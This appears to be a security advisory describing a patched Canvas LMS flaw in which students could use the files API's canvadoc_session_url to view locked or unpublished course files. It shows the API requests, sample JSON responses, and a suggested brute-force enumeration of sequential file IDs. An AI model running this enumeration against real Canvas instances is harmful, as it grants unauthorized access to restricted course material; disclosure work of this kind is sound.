Canvas File Oracle
Important Notice: This vulnerability has been patched as of 10/15/2022.
Exploitation Summary
Our researcher has found that due to the absent file permission checking in the API, the value of canvadoc_session_url makes it possible for a student to view any uploaded files in a course the student has enrolled, even if the file belongs to an unpublished module, is locked, or is locked and belongs to an unpublished module.
Core Vulnerability
- The Access Token generated by Canvas LMS behaves non-discriminatively for all roles.
GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{FILE_ID}always return a JSON object containing a validcanvadoc_session_urlproperty when the owner of the Access Token is enrolled in the{COURSE_ID}and{FILE_ID}specifies a file in{COURSE_ID}.
canvadoc_session_urlfrom the JSON object behaves non-discriminatively for all roles.- For all roles (
teacher,TA,student),canvadoc_session_urlprovides the path (301 redirects) to a DocViewer page. The DocView is believed to be used by Canvas by being loaded in an iframe.
- For all roles (
Exploitation
It would be trivial to create a bruteforce attack for a specific {COURSE_ID} to get the {TARGET_FILE_ID}:
GET https://canvas.example.com/api/v1/courses/{COURSE_ID}/files/{TARGET_FILE_ID}
by bruteforcing all possible {TARGET_FILE_ID} values. When the {TARGET_FILE_ID} is not exist, API returns:
{
"errors": [
{
"message": "The specified resource does not exist."
}
]
}
Otherwise, API returns an JSON object containing the detailed file info:
{
"id": 153481443,
"uuid": "VAfrXT0AGMUqmxfdMP90voq9hJCb0gOvOGQ9q4G4",
"folder_id": 31307712,
"display_name": "unsafe3.txt",
"filename": "unsafe3.txt",
"upload_status": "success",
"content-type": "text/plain",
"url": "",
"size": 18,
"created_at": "2021-09-25T03:39:19Z",
"updated_at": "2021-09-25T04:16:51Z",
"unlock_at": null,
"locked": false,
"hidden": false,
"lock_at": null,
"hidden_for_user": false,
"thumbnail_url": "",
"modified_at": "2021-09-25T03:39:19Z",
"mime_class": "text",
"media_entry_id": null,
"locked_for_user": true,
"lock_info": {
"asset_string": "attachment_153481443",
"context_module": {
"id": 7687041,
"context_id": 3550057,
"context_type": "Course",
"name": "Private Locked Module",
"position": 4,
"prerequisites": [],
"completion_requirements": [],
"created_at": "2021-09-25T03:30:02Z",
"updated_at": "2021-09-25T04:16:51Z",
"workflow_state": "unpublished",
"deleted_at": null,
"unlock_at": "2021-11-24T07:00:00Z",
"migration_id": null,
"require_sequential_progress": false,
"cloned_item_id": null,
"completion_events": null,
"requirement_count": null,
"root_account_id": 10
},
"unlock_at": "2021-11-24T07:00:00Z"
},
"lock_explanation": "This file is locked until Nov 24 at 12am.",
"canvadoc_session_url": "/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d",
"crocodoc_session_url": null
}
By appending canvadoc_session_url part to the hostname https://canvas.examples.com, we get something like
https://canvas.examples.com/api/v1/canvadoc_session?blob=%7B%22user_id%22:70000032029297,%22attachment_id%22:153481443,%22type%22:%22canvadoc%22%7D&hmac=e423b38ecb275dca5f694e941ab1beaa4d03453d
Which redirects to a DovViewer showing the contents of the file, even if the file is current UNPUBLISHED or even LOCKED.
Attack Improvement
The attack efficiency could be greatly amplified if the attacker could make an educated guess for the FileID, which is serialized for each Canvas LMS instance installation.